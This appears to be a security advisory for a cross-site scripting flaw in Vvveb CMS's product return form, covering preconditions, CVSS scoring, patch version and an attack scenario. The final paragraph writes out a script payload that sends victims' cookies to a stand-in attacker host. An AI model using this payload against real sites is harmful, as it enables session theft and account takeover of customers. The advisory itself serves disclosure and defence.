Vvveb CMS CVE-2026-45622

Exploitation requires that the target Vvveb CMS installation has the product return form feature enabled and publicly accessible, which is the default configuration for e-commerce deployments. The victim must be tricked into submitting a form with attacker-controlled customer_order_id parameter, typically through a crafted phishing email, malicious QR code, or social engineering directing them to a pre-filled return form. No authentication is required to access the vulnerable endpoint (PR:N in CVSS vector). User interaction (UI:P) is the primary limiting factor - attackers cannot execute code directly but must convince victims to trigger the vulnerable code path by submitting the form. The vulnerability affects the default installation with no special configuration needed, making it exploitable against standard Vvveb deployments running versions before 1.0.8.3.

Real-world risk is moderate to significant for public-facing Vvveb CMS installations. The CVSS 4.0 vector shows PR:N (no privileges required) and AC:L (low attack complexity), meaning any internet user can exploit this without authentication or specialized conditions. However, UI:P (user interaction required) is a limiting factor - victims must submit a form containing the malicious payload, typically via social engineering or a crafted link. The CVSS score of 5.3 reflects limited direct impact (VC:N/VI:N/VA:N on the vulnerable system), but subsequent scope impact SC:L/SI:L indicates the attack can affect victim sessions through cookie theft, session hijacking, or credential harvesting. No EPSS or KEV data available, and no public POC identified, suggesting exploitation remains opportunistic rather than widespread. The GitHub security advisory confirms patch availability in version 1.0.8.3, released by the maintainer givanz. Priority depends on deployment context: high-priority for public e-commerce sites with customer return portals, lower for internal-only instances. The requirement for user interaction and lack of observed exploitation campaigns mitigate urgency compared to unauthenticated RCE, but XSS remains a serious web security concern for stealing credentials and session tokens.

An attacker crafts a malicious link or phishing page that mimics the Vvveb store's product return process. The fake form submits to the legitimate return endpoint with customer_order_id set to <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. When a legitimate customer submits this pre-filled form, Vvveb processes the invalid order ID and displays the error message with the embedded script executed in their browser. The JavaScript steals session cookies and sends them to the attacker's server, enabling account takeover and unauthorized access to order history, personal information, and payment methods.